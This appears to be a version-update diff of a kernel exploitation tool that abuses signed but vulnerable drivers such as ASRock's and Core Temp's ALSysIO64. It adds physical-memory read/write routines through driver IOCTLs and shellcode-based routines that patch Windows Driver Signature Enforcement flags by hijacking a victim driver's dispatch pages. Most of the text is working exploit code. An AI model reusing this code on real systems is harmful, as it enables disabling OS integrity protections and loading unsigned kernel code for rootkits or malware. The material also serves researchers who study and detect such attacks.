NumberOfBytes);
}
/*
* AlcWritePhysicalMemory
*
* Purpose:
*
* Write to physical memory.
*
*/
BOOL WINAPI AlcWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult = FALSE;
ALCPU_WRITE_REQUEST* pRequest;
SIZE_T size;
ULONG value;
value = FIELD_OFFSET(ALCPU_WRITE_REQUEST, Data) + NumberOfBytes;
size = ALIGN_UP_BY(value, PAGE_SIZE);
pRequest = (ALCPU_WRITE_REQUEST*)VirtualAlloc(NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pRequest) {
if (VirtualLock(pRequest, size)) {
pRequest->PhysicalAddress.QuadPart = PhysicalAddress;
pRequest->Size = NumberOfBytes;
RtlCopyMemory(&pRequest->Data, Buffer, NumberOfBytes);
bResult = supCallDriver(DeviceHandle,
IOCTL_ALCPU_WRITE_MEMORY,
pRequest,
(ULONG)size,
NULL,
0);
VirtualUnlock(pRequest, size);
}
VirtualFree(pRequest, 0, MEM_RELEASE);
}
return bResult;
}

View File

@ -0,0 +1,54 @@
/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2022
*
* TITLE: ALCPU.H
*
* VERSION: 1.28
*
* DATE: 01 Dec 2022
*
* ALSYSIO64 driver interface header.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#pragma once
#define FILE_DEVICE_ALCPU (DWORD)0x9C40
#define ALCPU_READ_MEMORY (DWORD)0x986
#define ALCPU_WRITE_MEMORY (DWORD)0x987
#define IOCTL_ALCPU_READ_MEMORY \
CTL_CODE(FILE_DEVICE_ALCPU, ALCPU_READ_MEMORY, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402618
#define IOCTL_ALCPU_WRITE_MEMORY \
CTL_CODE(FILE_DEVICE_ALCPU, ALCPU_WRITE_MEMORY, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40261C
typedef struct _ALCPU_READ_REQUEST {
PHYSICAL_ADDRESS PhysicalAddress;
ULONG Size;
} ALCPU_READ_REQUEST, * PALCPU_READ_REQUEST;
typedef struct _ALCPU_WRITE_REQUEST {
PHYSICAL_ADDRESS PhysicalAddress;
ULONG Size;
UCHAR Data[ANYSIZE_ARRAY];
} ALCPU_WRITE_REQUEST, * PALCPU_WRITE_REQUEST;
BOOL WINAPI AlcReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes);
BOOL WINAPI AlcWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes);

View File

@ -27,12 +27,6 @@
#define ASROCK_AES_KEY "C110DD4FE9434147B92A5A1E3FDBF29A"
#define ASROCK_AES_KEY_LENGTH sizeof(ASROCK_AES_KEY) - sizeof(CHAR)
#ifdef __cplusplus
extern "C" {
void BaseShellDSEFix();
void BaseShellDSEFixEnd();
}
#endif
/*
* AsrEncryptDriverRequest
@ -131,7 +125,6 @@ BOOL AsrEncryptDriverRequest(
}
} while (FALSE);
if (hKey != NULL)
@ -274,104 +267,3 @@ BOOL WINAPI AsrWritePhysicalMemory(
IOCTL_ASRDRV_WRITE_MEMORY,
&args);
}
/*
* AsrControlDSE
*
* Purpose:
*
* Change Windows CodeIntegrity flags state via ASRock driver.
*
*/
BOOL AsrControlDSE(
_In_ PKDU_CONTEXT Context,
_In_ ULONG DSEValue,
_In_ ULONG_PTR Address
)
{
BOOL bResult = FALSE;
unsigned char shellBuffer[200];
SIZE_T shellSize = (ULONG_PTR)BaseShellDSEFixEnd - (ULONG_PTR)BaseShellDSEFix;
KDU_PROVIDER* prov;
KDU_VICTIM_PROVIDER* victimProv;
HANDLE victimDeviceHandle = NULL;
KDU_PHYSMEM_ENUM_PARAMS enumParams;
prov = Context->Provider;
victimProv = Context->Victim;
RtlFillMemory(shellBuffer, sizeof(shellBuffer), 0xCC);
RtlCopyMemory(shellBuffer, BaseShellDSEFix, shellSize);
*(PULONG_PTR)&shellBuffer[0x2] = Address;
*(PULONG_PTR)&shellBuffer[0xC] = DSEValue;
if (shellSize > sizeof(shellBuffer)) {
supPrintfEvent(kduEventError,
"[!] Patch code size 0x%llX exceeds limit 0x%llX, abort\r\n", shellSize, sizeof(shellBuffer));
return FALSE;
}
//
// Load/open victim.
//
if (VpCreate(victimProv,
Context->ModuleBase,
&victimDeviceHandle))
{
printf_s("[+] Victim is accepted, handle 0x%p\r\n", victimDeviceHandle);
}
else {
supPrintfEvent(kduEventError,
"[!] Error preloading victim driver, abort\r\n");
return FALSE;
}
enumParams.bWrite = TRUE;
enumParams.cbPagesFound = 0;
enumParams.cbPagesModified = 0;
enumParams.Context = Context;
enumParams.pvPayload = shellBuffer;
enumParams.cbPayload = (ULONG)shellSize;
supPrintfEvent(kduEventInformation,
"[+] Looking for %ws driver dispatch memory pages, please wait\r\n", victimProv->Name);
if (supEnumeratePhysicalMemory(KDUProcExpPagePatchCallback, &enumParams)) {
printf_s("[+] Number of pages found: %llu, modified: %llu\r\n",
enumParams.cbPagesFound,
enumParams.cbPagesModified);
//
// Run shellcode.
//
VpExecutePayload(victimProv, &victimDeviceHandle);
supPrintfEvent(kduEventInformation,
"[+] DSE patch executed successfully\r\n");
}
//
// Ensure victim handle is closed.
//
if (victimDeviceHandle) {
NtClose(victimDeviceHandle);
victimDeviceHandle = NULL;
}
//
// Cleanup.
//
if (VpRelease(victimProv, &victimDeviceHandle)) {
printf_s("[+] Victim released\r\n");
}
return bResult;
}

View File

@ -32,7 +32,6 @@
#define IOCTL_ASRDRV_EXEC_DISPATCH \
CTL_CODE(FILE_DEVICE_UNKNOWN, ASRDRV_EXEC_DISPATCH, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)
//
// Based on CVE-2020-15368
//
@ -71,11 +70,6 @@ typedef struct _ASRDRV_COMMAND {
} ASRDRV_COMMAND, * PASRDRV_COMMAND;
#pragma pack(pop)
BOOL AsrControlDSE(
_In_ PKDU_CONTEXT Context,
_In_ ULONG DSEValue,
_In_ ULONG_PTR Address);
BOOL WINAPI AsrReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,

View File

@ -4,9 +4,9 @@
*
* TITLE: DBK.CPP
*
* VERSION: 1.27
* VERSION: 1.28
*
* DATE: 10 Nov 2022
* DATE: 01 Dec 2022
*
* Cheat Engine's DBK driver routines.
*
@ -32,90 +32,6 @@
#define DBK_PROCESS_LIST L"\\BaseNamedObjects\\DBKProcList60"
#define DBK_THREAD_LIST L"\\BaseNamedObjects\\DBKThreadList60"
#define DBK_INIT_CODE_SIZE 16
#define DBK_SC_MAX_SIZE PAGE_SIZE
#define DBK_SHELLCODE_CI_PAYLOAD_SIZE DBK_SC_MAX_SIZE -\
DBK_INIT_CODE_SIZE - \
sizeof(PULONG_PTR) - \
sizeof(ULONG_PTR)
typedef struct _DBK_SHELLCODE_CI {
BYTE InitCode[DBK_INIT_CODE_SIZE];
BYTE Payload[DBK_SHELLCODE_CI_PAYLOAD_SIZE];
PULONG_PTR AddressOfVariable;
ULONG_PTR ValueToWrite;
} DBK_SHELLCODE_CI, * PDBK_SHELLCODE_CI;
/*
* DbkDsePatchRoutine
*
* Purpose:
*
* DSE patch to be executed in kernel mode.
*
*/
VOID WINAPI DbkDsePatchRoutine(
_In_ PDBK_SHELLCODE_CI ShellCode
)
{
*ShellCode->AddressOfVariable = ShellCode->ValueToWrite;
}
/*
* DbkpBuildShellCodeDsePatch
*
* Purpose:
*
* DSE patch code construction.
*
*/
BOOL DbkpBuildShellCodeDsePatch(
_In_ PDBK_SHELLCODE_CI ShellCode,
_In_ ULONG_PTR Address,
_In_ ULONG_PTR Value
)
{
ULONG procSize, maxSize;
PVOID pvInitCode;
ULONG initSize = 0;
procSize = ScSizeOfProc((BYTE*)DbkDsePatchRoutine);
maxSize = DBK_SHELLCODE_CI_PAYLOAD_SIZE;
if (procSize > maxSize) {
supPrintfEvent(kduEventError,
"[!] Bootstrap code size 0x%lX exceeds limit 0x%lX, abort\r\n",
procSize,
maxSize);
#ifndef _DEBUG
return FALSE;
#endif
}
RtlCopyMemory(ShellCode->Payload, DbkDsePatchRoutine, procSize);
RtlFillMemory(ShellCode->InitCode, sizeof(ShellCode->InitCode), 0xCC);
pvInitCode = ScGetBootstrapLdr(KDU_SHELLCODE_V4, &initSize);
if (initSize > DBK_INIT_CODE_SIZE) {
supPrintfEvent(kduEventError,
"[!] Loader code size 0x%lX exceeds limit 0x%lX, abort\r\n",
initSize,
DBK_INIT_CODE_SIZE);
return FALSE;
}
RtlCopyMemory(ShellCode->InitCode, pvInitCode, initSize);
ShellCode->AddressOfVariable = (PULONG_PTR)Address;
ShellCode->ValueToWrite = Value;
return TRUE;
}
/*
* DbkSetupCheatEngineObjectNames
*
@ -757,6 +673,13 @@ BOOL DbkMapDriver(
return bSuccess;
}
#ifdef __cplusplus
extern "C" {
void BaseShellDSEFix();
void BaseShellDSEFixEnd();
}
#endif
/*
* DbkControlDSE
*
@ -772,42 +695,38 @@ BOOL DbkControlDSE(
)
{
BOOL bResult = FALSE;
DBK_SHELLCODE_CI* pvShellCode;
BYTE shellBuffer[SHELLCODE_SMALL];
SIZE_T shellSize = (ULONG_PTR)BaseShellDSEFixEnd - (ULONG_PTR)BaseShellDSEFix;
FUNCTION_ENTER_MSG(__FUNCTION__);
pvShellCode = (DBK_SHELLCODE_CI*)VirtualAlloc(NULL, sizeof(DBK_SHELLCODE_CI),
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
RtlFillMemory(shellBuffer, sizeof(shellBuffer), 0xCC);
RtlCopyMemory(shellBuffer, BaseShellDSEFix, shellSize);
if (pvShellCode) {
*(PULONG_PTR)&shellBuffer[0x2] = Address;
*(PULONG_PTR)&shellBuffer[0xC] = DSEValue;
if (DbkpBuildShellCodeDsePatch(pvShellCode, Address, DSEValue)) {
if (shellSize > SHELLCODE_SMALL) {
supPrintfEvent(kduEventError,
"[!] Patch code size 0x%llX exceeds limit 0x%lX, abort\r\n", shellSize, SHELLCODE_SMALL);
printf_s("[+] DSE flags (0x%p) new value to be written: %lX\r\n",
(PVOID)Address,
DSEValue);
return FALSE;
}
if (DbkpMapAndExecuteCode(Context,
pvShellCode,
sizeof(DBK_SHELLCODE_CI),
FALSE,
NULL,
NULL))
{
supPrintfEvent(kduEventInformation,
"[+] DSE patch executed successfully\r\n");
}
printf_s("[+] DSE flags (0x%p) new value to be written: %lX\r\n",
(PVOID)Address,
DSEValue);
}
else {
supPrintfEvent(kduEventError,
"[!] Error while building shellcode, abort\r\n");
}
VirtualFree(pvShellCode, 0, MEM_RELEASE);
if (DbkpMapAndExecuteCode(Context,
shellBuffer,
(ULONG)shellSize,
FALSE,
NULL,
NULL))
{
supPrintfEvent(kduEventInformation,
"[+] DSE patch executed successfully\r\n");
}
FUNCTION_LEAVE_MSG(__FUNCTION__);

View File

@ -37,6 +37,7 @@
#include "idrv/marvinhw.h"
#include "idrv/zemana.h"
#include "idrv/asrdrv.h"
#include "idrv/alcpu.h"
//
// Victims public array.
@ -686,7 +687,7 @@ static KDU_PROVIDER g_KDUProviders[] =
(provPreOpenDriver)NULL,
(provPostOpenDriver)KDUProviderPostOpen,
(provMapDriver)KDUMapDriver2,
(provControlDSE)AsrControlDSE,
(provControlDSE)KDUControlDSE2,
(provReadKernelVM)NULL,
(provWriteKernelVM)NULL,
@ -695,6 +696,28 @@ static KDU_PROVIDER g_KDUProviders[] =
(provQueryPML4)NULL,
(provReadPhysicalMemory)AsrReadPhysicalMemory,
(provWritePhysicalMemory)AsrWritePhysicalMemory
},
{
NULL,
(provStartVulnerableDriver)KDUProvStartVulnerableDriver,
(provStopVulnerableDriver)KDUProvStopVulnerableDriver,
(provRegisterDriver)NULL,
(provUnregisterDriver)NULL,
(provPreOpenDriver)NULL,
(provPostOpenDriver)KDUProviderPostOpen,
(provMapDriver)KDUMapDriver2,
(provControlDSE)KDUControlDSE2,
(provReadKernelVM)NULL,
(provWriteKernelVM)NULL,
(provVirtualToPhysical)NULL,
(provQueryPML4)NULL,
(provReadPhysicalMemory)AlcReadPhysicalMemory,
(provWritePhysicalMemory)AlcWritePhysicalMemory
}
};

View File

@ -174,7 +174,7 @@ VOID KDUProvList()
case SourceBaseMapMem:
pszDesc = MAPMEM_BASE_DESC;
break;
case SourceBaseRwEverything:
case SourceBaseRWEverything:
pszDesc = RWEVERYTHING_BASE_DESC;
break;
default:
@ -822,9 +822,6 @@ BOOL KDUIsSupportedShell(
case KDU_SHELLCODE_V4:
value = KDUPROV_SC_V4;
break;
case KDU_SHELLCODE_V5:
value = KDUPROV_SC_V5;
break;
default:
return FALSE;
}

Binary file not shown.

Binary file not shown.

View File

@ -67,8 +67,8 @@ ZmShellDSEFixEnd PROC
ZmShellDSEFixEnd ENDP
BaseShellDSEFix PROC
mov rax, 01122334455667788h
mov rcx, 08877665544332211h
mov rax, 01122334455667788h ;Address
mov rcx, 08877665544332211h ;Value
mov qword ptr[rax], rcx
ret
BaseShellDSEFix ENDP

View File

@ -2592,6 +2592,8 @@ ULONG_PTR supGetHalQuerySystemInformation(
* Purpose:
*
* Read physical memory layout from registry.
*
* Use supHeapFree to release allocated memory.
*
*/
PCM_RESOURCE_LIST supQueryPhysicalMemoryLayout(
@ -2604,16 +2606,16 @@ PCM_RESOURCE_LIST supQueryPhysicalMemoryLayout(
DWORD dwType = REG_RESOURCE_LIST, cbData = 0;
PCM_RESOURCE_LIST pList = NULL;
LRESULT result = RegOpenKeyExW(HKEY_LOCAL_MACHINE, lpKey, 0, KEY_READ, &hKey);
LRESULT result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpKey, 0, KEY_READ, &hKey);
if (result == ERROR_SUCCESS) {
result = RegQueryValueExW(hKey, lpValue, 0, &dwType, NULL, &cbData);
result = RegQueryValueEx(hKey, lpValue, 0, &dwType, NULL, &cbData);
if (result == ERROR_SUCCESS) {
pList = (PCM_RESOURCE_LIST)supHeapAlloc((SIZE_T)cbData);
if (pList) {
RegQueryValueExW(hKey, lpValue, 0, &dwType, (LPBYTE)pList, &cbData);
RegQueryValueEx(hKey, lpValue, 0, &dwType, (LPBYTE)pList, &cbData);
}
}
@ -2677,7 +2679,7 @@ BOOL supEnumeratePhysicalMemory(
endAddress = queryAddress + length;
supPrintfEvent(kduEventInformation,
"[+] Enumerating memory range 0x%llX -> 0x%llX\r\n", queryAddress, endAddress);
"[+] Enumerating memory address range 0x%llX -> 0x%llX\r\n", queryAddress, endAddress);
do {
@ -2695,11 +2697,13 @@ BOOL supEnumeratePhysicalMemory(
} while (queryAddress < endAddress);
printf_s("\33[2K\r\tRange probed successfully\r\n");
printf_s("\33[2K\r\tAddress range probed successfully\r\n");
}
}
}
supHeapFree(pList);
return TRUE;
}
@ -2722,10 +2726,10 @@ BOOL supDetectMsftBlockList(
HKEY hKey;
DWORD dwType = REG_DWORD, cbData = sizeof(DWORD), dwEnabled = 0;
LRESULT result = RegOpenKeyExW(HKEY_LOCAL_MACHINE, lpKey, 0, KEY_ALL_ACCESS, &hKey);
LRESULT result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpKey, 0, KEY_ALL_ACCESS, &hKey);
if (result == ERROR_SUCCESS) {
result = RegQueryValueExW(hKey, lpValue, 0, &dwType, (LPBYTE)&dwEnabled, &cbData);
result = RegQueryValueEx(hKey, lpValue, 0, &dwType, (LPBYTE)&dwEnabled, &cbData);
if (result == ERROR_SUCCESS && dwType == REG_DWORD) {
*Enabled = (dwEnabled > 0);

View File

@ -141,7 +141,7 @@ VOID KDUTest()
RtlSecureZeroMemory(&Buffer, sizeof(Buffer));
Context = KDUProviderCreate(KDU_PROVIDER_ASROCK,
Context = KDUProviderCreate(KDU_PROVIDER_ALCPU,
FALSE,
NT_WIN7_SP1,
KDU_SHELLCODE_V1,

View File

@ -4,9 +4,9 @@
*
* TITLE: VICTIM.CPP
*
* VERSION: 1.20
* VERSION: 1.28
*
* DATE: 08 Feb 2022
* DATE: 01 Dec 2022
*
* Victim support routines.
*
@ -229,11 +229,22 @@ BOOL VpCreateCallback(
supHeapFree(drvBuffer);
if (resourceSize != writeBytes) {
//
// Driver is in use.
//
if (ntStatus == STATUS_SHARING_VIOLATION) {
supPrintfEvent(kduEventError,
"[!] Sharing violation, driver maybe in use, please close all application(s) that are using this driver\r\n");
}
else {
supPrintfEvent(kduEventError,
"[!] Could not extract victim driver, NTSTATUS(0x%lX) abort\r\n",
ntStatus);
supPrintfEvent(kduEventError,
"[!] Could not extract victim driver, NTSTATUS(0x%lX) abort\r\n",
ntStatus);
}
SetLastError(RtlNtStatusToDosError(ntStatus));
break;
}

View File

@ -6,7 +6,7 @@
*
* VERSION: 1.28
*
* DATE: 22 Nov 2022
* DATE: 01 Dec 2022
*
* Global consts.
*
@ -46,7 +46,7 @@
#define WINRING0_BASE_DESC "WinRing0 by Noriyuki Miyazaki"
#define MAPMEM_BASE_DESC "MapMem from NTDDK 3.51"
#define PHYMEM_BASE_DESC "PhyMem by akui"
#define RWEVERYTHING_BASE_DESC "RwEverything"
#define RWEVERYTHING_BASE_DESC "RWEverything by ckimchan.tw"
#define SHELL_POOL_TAG ' oI'
@ -57,6 +57,8 @@
#define PE152_DISPATCH_OFFSET 0x2220 // Valid only for 1.5.2
#define PE152_DISPATCH_PAGE_OFFSET 0x0220
#define SHELLCODE_SMALL 0x200
//
// Data id table
//
@ -97,6 +99,8 @@
#define IDR_ZEMANA 128
#define IDR_INPOUTX64 129
#define IDR_PASSMARK_OSF 130
#define IDR_ASROCKDRV 131
#define IDR_ALSYSIO64 132
//
// Vulnerable drivers providers id
@ -130,6 +134,7 @@
#define KDU_PROVIDER_INPOUTX64 26
#define KDU_PROVIDER_PASSMARK_OSF 27
#define KDU_PROVIDER_ASROCK 28
#define KDU_PROVIDER_ALCPU 29
//
// KDU provider flags
@ -193,4 +198,3 @@
#define KDUPROV_SC_ALL_DEFAULT (KDUPROV_SC_V1 | KDUPROV_SC_V2 | KDUPROV_SC_V3)
#define KDUPROV_SC_V4 (0x008)
#define KDUPROV_SC_V5 (0x010)

View File

@ -27,7 +27,7 @@ typedef enum _KDU_SOURCEBASE {
SourceBaseWinRing0,
SourceBasePhyMem,
SourceBaseMapMem,
SourceBaseRwEverything,
SourceBaseRWEverything,
SourceBaseMax
} KDU_SOURCEBASE;

View File

@ -183,9 +183,11 @@
<None Include="data\dbutilinf.bin" />
<None Include="data\KMUEXE.bin" />
<None Include="data\KMUSIG.bin" />
<None Include="drv\ALSysIO64.bin" />
<None Include="drv\amsdk.bin" />
<None Include="drv\asio2.bin" />
<None Include="drv\AsIO3.bin" />
<None Include="drv\AsrDrv106.bin" />
<None Include="drv\ATSZIO64.bin" />
<None Include="drv\dbk64.bin" />
<None Include="drv\DbUtil2_3.bin" />

View File

@ -136,6 +136,12 @@
<None Include="drv\DirectIo64_2.bin">
<Filter>Resource Files</Filter>
</None>
<None Include="drv\AsrDrv106.bin">
<Filter>Resource Files</Filter>
</None>
<None Include="drv\ALSysIO64.bin">
<Filter>Resource Files</Filter>
</None>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -31,6 +31,7 @@
#define IDR_INPOUTX64 129
#define IDR_PASSMARK_OSF 130
#define IDR_ASROCKDRV 131
#define IDR_ALSYSIO64 132
#define IDR_DATA_DBUTILCAT 1000
#define IDR_DATA_DBUTILINF 1001
#define IDR_DATA_KMUEXE 1002
@ -41,7 +42,7 @@
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 132
#define _APS_NEXT_RESOURCE_VALUE 133
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101

View File

@ -118,6 +118,8 @@ IDR_PASSMARK_OSF RCDATA "drv\\DirectIo64_2.bin"
IDR_ASROCKDRV RCDATA "drv\\AsrDrv106.bin"
IDR_ALSYSIO64 RCDATA "drv\\ALSysIO64.bin"
/////////////////////////////////////////////////////////////////////////////
//

View File

@ -6,7 +6,7 @@
*
* VERSION: 1.11
*
* DATE: 25 Nov 2022
* DATE: 01 Dec 2022
*
* Tanikaze helper dll (part of KDU project).
*
@ -422,13 +422,27 @@ KDU_DB_ENTRY gProvEntry[] = {
KDU_MAX_NTBUILDNUMBER,
IDR_ASROCKDRV,
KDU_PROVIDER_ASROCK,
SourceBaseRwEverything,
SourceBaseRWEverything,
KDUPROV_FLAGS_SIGNATURE_WHQL | KDUPROV_FLAGS_PHYSICAL_BRUTE_FORCE,
KDUPROV_SC_ALL_DEFAULT,
(LPWSTR)L"ASRock IO Driver",
(LPWSTR)L"AsrDrv106",
(LPWSTR)L"AsrDrv106",
(LPWSTR)L"ASROCK Incorporation",
},
{
KDU_MIN_NTBUILDNUMBER,
KDU_MAX_NTBUILDNUMBER,
IDR_ALSYSIO64,
KDU_PROVIDER_ALCPU,
SourceBaseNone,
KDUPROV_FLAGS_SIGNATURE_WHQL | KDUPROV_FLAGS_PHYSICAL_BRUTE_FORCE,
KDUPROV_SC_ALL_DEFAULT,
(LPWSTR)L"Core Temp",
(LPWSTR)L"ALSysIO64",
(LPWSTR)L"ALSysIO",
(LPWSTR)L"ALCPU (Arthur Liberman)",
}
};